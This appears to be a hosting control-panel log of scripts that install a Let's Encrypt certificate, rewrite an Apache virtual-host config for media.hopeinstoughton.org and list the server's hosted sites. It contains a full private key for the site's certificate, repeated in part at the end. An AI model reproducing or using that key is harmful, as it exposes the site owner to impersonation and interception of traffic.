cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8yMC5jcmwwggEFBgorBgEE
AdZ5AgQCBIH2BIHzAPEAdgBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34
wwAAAZsbcu3KAAAEAwBHMEUCIG5DIhK/GwZl9BrxZqb5QjyEMwKOFdl/rf3OcSjF
TLV6AiEA+d2IsTfPzFw0hKiKeM+1sVvRR/ajMk6LIw7xclBqFeAAdwAOV5S8866p
PjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZsbcu3HAAAEAwBIMEYCIQC20HO3
ZsSQeuCLc6BrnYsW1zzY2U9qUUOFULdNy8DJHgIhALiq9pfYflcg5lC1mWuz4blW
ieoht447zHogkbQdDwcwMA0GCSqGSIb3DQEBCwUAA4IBAQBZ+CHqMwvpPmCDXQxh
nle2C5jyWE6N29Xo+s4t8DmVs7R3xAH+gJBg3PImZewshWsn3f/KFZbaO2dAtQs9
X7bzIqpba3T+AGXrxVGoaH35kNkMI3irKEJQNPqe/jjQxGQy7qiJ/YrX3eoBKTcL
j0Buh7vCCI8jbGi9KMA3avhYjMWalU+KvmjyNSQqpybD+jxjNYB2WijylI8K4E9C
gdbqfcfj/itZr4IcogV1M4NSdgKrBPhsDrEpIbEC52a5s+qIt58h3FNdPX/bXJMH
D5c9VJUihAXCQ3TKfFccStapvovy3Z1uEq0D84aZqd9gAiPfiXyT+MJzwSOwM6Eq
09Ai
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDHixn4unosujav
XuM7fY63Dt2yDjYIiGFLqBVIYEtM25zfKwqKyNp2eXYQOJHQVBjwgFt59bOqiHZm
78WPvmJE+mrV7H46qvJ1TlCFQSu5w8KrKcmM17HAdXukm+b5X/W1JYu00ygeoJOr
BiHEz1PbvzvJjjDj0zJkwZFUdkQLdFHDSvjjHfg6ZQIKAMMrw8WBXwDMf0Li0r8h
gJNobEQSfryXGvMdVpqIKdwo3IQ69RTV7nEXJ9JPACYyfgln5ln4cRd6ApXhG+SK
tTc3LkHI+g31iLpbq3sfwBOA8g3tdf604j9MJ4uuLo3Cd52frEHJ7/EHF08Or+wz
ku9CnOw9AgMBAAECggEAB3gAZ9vq+MObimLd1Hs1nUp0J9b6VMVuBtvquAPKrbzG
mV/ODDXKX4baUW8cnhSXvmC/i8gTin2DGQU+esvgd757wzgP3XhKjPN6dhJjZZeb
MLbmsVvdblu3Xgjr00exNa+LFCCXLtZJ0KvxFaHA/MeioD+vOsfL6hOIsgWfNGJ8
RZbxg1bc6SjwKgQXtWGmhly9zCKPus7nf14+pVy0RHJs5HsCI+G1Z2OanGn0zm/z
PSVnUuzMuEaemYDomhjAGQc9Sqx4+1CDbw8jAdVzdtrXyTBXqq6UXzNbUzDJew5u
jgbdVSp2Xx9MNk6YEoSXS6p4LyZRx+G/cRvds6wfIQKBgQDiDA716TqQyPDY2e7o
/1qz50rrkH6D8beUUo5XkMVW1f56jF+7YdA/6T0TtPh0PrlCA3OFWoQleVXpB4S9
yxVLOA42nuGwHgBk1Yb3lyLVWMYONZ4W/xjq/+yGuAtxS9RTWD+n5ebQssb9MYMj
GgJZPZgcYKniew4MY7CQINFWiQKBgQDh+/yMfukeLb0TfDoqK28G9KMKz6NAap8n
O00G+M15lmOF4xWHyia6hPAfYmc49V8G/j7CYA6u6frse7JsLEcSHTu1jgeS0QpO
Li5Ykh3dU3i06zag9W/owCecYceL2G5Cbh/JzZe2VEBKKcLd96mCqgGkru68ZIKI
KbUz3rV7FQKBgQCKsoNrd9Orit/c7ruc0zHAOSbLKzm1k9bkd1NHf1jWUy912jPT
Mc0pqd8D/IKGMQZS7vMu279BjxWbijV0jutd3+M4uHwaKA5t0Gaj/GQvK+06QsPh
sFyFtMpYTw0WU0TQbtGAH5xkaY2XRY4FN6xBPX3by6PxhzezemeXx8sqoQKBgQCW
MIb0SRRdvkA/RvzRMfSkRsplUQJKuZH03PCghZLqEA0s2nNgv/VlWRzNfvTjYhA5
8Zd8T6LylQbzTHKUegjx/QPF8hMOfGfA9ehPbSzz/5nlg73W08gAhFTPFh0s0DbX
Z6Ew2bbOssfXglHEe+joslxNOwXnp1Upca7APm+W0QKBgQDZ3tBAIYP3rLUtArsl
bsZ9m32RGK2LS83ZXw6Kpgy2D3T33MgiVU41niuvLsJRYfDBPRzm9yXCve0cUM6Y
JdRYyEAdfsl7iQNnb1zrPDEw1wswvep8T3/f6JVZuONzcwrzMheLOjaT0T7ASqmG
tVuYnZqlXy9lGOCpdDvB8Rj+Cw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-14 06:01:16:
chmod 755 /tmp/pkp926043; /tmp/pkp926043; rm /tmp/pkp926043
2025-12-14 06:01:16:
dir=/etc/ssl/certs
2025-12-14 06:01:16:
PUT: /tmp/pkp299722
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-14 06:01:16:
chmod 755 /tmp/pkp299722; /tmp/pkp299722; rm /tmp/pkp299722
2025-12-14 06:01:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf 49
<VirtualHost *:80>
ServerName media.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_media/public
<Directory /var/www/hopeinstoughton_media>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Directory /var/www/hopeinstoughton_media/public/static>
Header add Access-Control-Allow-Origin "*"
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/media_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/media_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName media.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
DocumentRoot /var/www/hopeinstoughton_media/public
<Directory /var/www/hopeinstoughton_media>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Directory /var/www/hopeinstoughton_media/public/static>
Header add Access-Control-Allow-Origin "*"
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/media_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/media_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-14 06:01:16:
PUT: /tmp/pkp666506
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_media_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName media.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_media/public
<Directory /var/www/hopeinstoughton_media>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Directory /var/www/hopeinstoughton_media/public/static>
Header add Access-Control-Allow-Origin "*"
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/media_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/media_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName media.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
DocumentRoot /var/www/hopeinstoughton_media/public
<Directory /var/www/hopeinstoughton_media>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Directory /var/www/hopeinstoughton_media/public/static>
Header add Access-Control-Allow-Origin "*"
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/media_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/media_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf= 1'
fi
2025-12-14 06:01:16:
chmod 755 /tmp/pkp666506; /tmp/pkp666506; rm /tmp/pkp666506
2025-12-14 06:01:16:
2025-12-14 06:01:16:
PUT: /tmp/pkp591513
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-14 06:01:16:
chmod 755 /tmp/pkp591513; /tmp/pkp591513; rm /tmp/pkp591513
2025-12-14 06:01:16:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-14 06:01:16: Establishing a connection
2025-12-14 06:01:16:
PUT: /tmp/pkp478314
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-14 06:01:16:
chmod 755 /tmp/pkp478314; /tmp/pkp478314; rm /tmp/pkp478314
2025-12-14 06:01:16:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-14 06:01:16:
PUT: /tmp/pkp755665
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-14 06:01:16:
chmod 755 /tmp/pkp755665; /tmp/pkp755665; rm /tmp/pkp755665
2025-12-14 06:01:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf 1673
<VirtualHost *:80>
ServerName media.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_media/public
<Directory /var/www/hopeinstoughton_media>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Directory /var/www/hopeinstoughton_media/public/static>
Header add Access-Control-Allow-Origin "*"
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/media_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/media_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName media.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
DocumentRoot /var/www/hopeinstoughton_media/public
<Directory /var/www/hopeinstoughton_media>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Directory /var/www/hopeinstoughton_media/public/static>
Header add Access-Control-Allow-Origin "*"
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/media_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/media_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-14 06:01:16:
PUT: /tmp/pkp648861
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-14 06:01:16:
chmod 755 /tmp/pkp648861; /tmp/pkp648861; rm /tmp/pkp648861
2025-12-14 06:01:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt 5381
f3:fd:a7:e5:61:7c:f9:10:bb:b0:6f:fc:cc:97:05:1b
-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBePKCD4yAOGfoUMxuUJzOHMTMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE0MDUwMjQ1WhcNMjYwMzE0MDUwMjQ0WjAkMSIwIAYDVQQD
ExltZWRpYS5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAx4sZ+Lp6LLo2r17jO32Otw7dsg42CIhhS6gVSGBLTNuc3ysK
isjadnl2EDiR0FQY8IBbefWzqoh2Zu/Fj75iRPpq1ex+OqrydU5QhUErucPCqynJ
jNexwHV7pJvm+V/1tSWLtNMoHqCTqwYhxM9T2787yY4w49MyZMGRVHZEC3RRw0r4
4x34OmUCCgDDK8PFgV8AzH9C4tK/IYCTaGxEEn68lxrzHVaaiCncKNyEOvUU1e5x
FyfSTwAmMn4JZ+ZZ+HEXegKV4RvkirU3Ny5ByPoN9Yi6W6t7H8ATgPIN7XX+tOI/
TCeLri6Nwnedn6xBye/xBxdPDq/sM5LvQpzsPQIDAQABo4ICKjCCAiYwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBTGjNLkMRs4SAX+EJeu4Z3g+lFzGTAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1lZGlhLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8yMC5jcmwwggEFBgorBgEE
AdZ5AgQCBIH2BIHzAPEAdgBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34
wwAAAZsbcu3KAAAEAwBHMEUCIG5DIhK/GwZl9BrxZqb5QjyEMwKOFdl/rf3OcSjF
TLV6AiEA+d2IsTfPzFw0hKiKeM+1sVvRR/ajMk6LIw7xclBqFeAAdwAOV5S8866p
PjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZsbcu3HAAAEAwBIMEYCIQC20HO3
ZsSQeuCLc6BrnYsW1zzY2U9qUUOFULdNy8DJHgIhALiq9pfYflcg5lC1mWuz4blW
ieoht447zHogkbQdDwcwMA0GCSqGSIb3DQEBCwUAA4IBAQBZ+CHqMwvpPmCDXQxh
nle2C5jyWE6N29Xo+s4t8DmVs7R3xAH+gJBg3PImZewshWsn3f/KFZbaO2dAtQs9
X7bzIqpba3T+AGXrxVGoaH35kNkMI3irKEJQNPqe/jjQxGQy7qiJ/YrX3eoBKTcL
j0Buh7vCCI8jbGi9KMA3avhYjMWalU+KvmjyNSQqpybD+jxjNYB2WijylI8K4E9C
gdbqfcfj/itZr4IcogV1M4NSdgKrBPhsDrEpIbEC52a5s+qIt58h3FNdPX/bXJMH
D5c9VJUihAXCQ3TKfFccStapvovy3Z1uEq0D84aZqd9gAiPfiXyT+MJzwSOwM6Eq
09Ai
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDHixn4unosujav
XuM7fY63Dt2yDjYIiGFLqBVIYEtM25zfKwqKyNp2eXYQOJHQVBjwgFt59bOqiHZm
78WPvmJE+mrV7H46qvJ1TlCFQSu5w8KrKcmM17HAdXukm+b5X/W1JYu00ygeoJOr
BiHEz1PbvzvJjjDj0zJkwZFUdkQLdFHDSvjjHfg6ZQIKAMMrw8WBXwDMf0Li0r8h
gJNobEQSfryXGvMdVpqIKdwo3IQ69RTV7nEXJ9JPACYyfgln5ln4cRd6ApXhG+SK
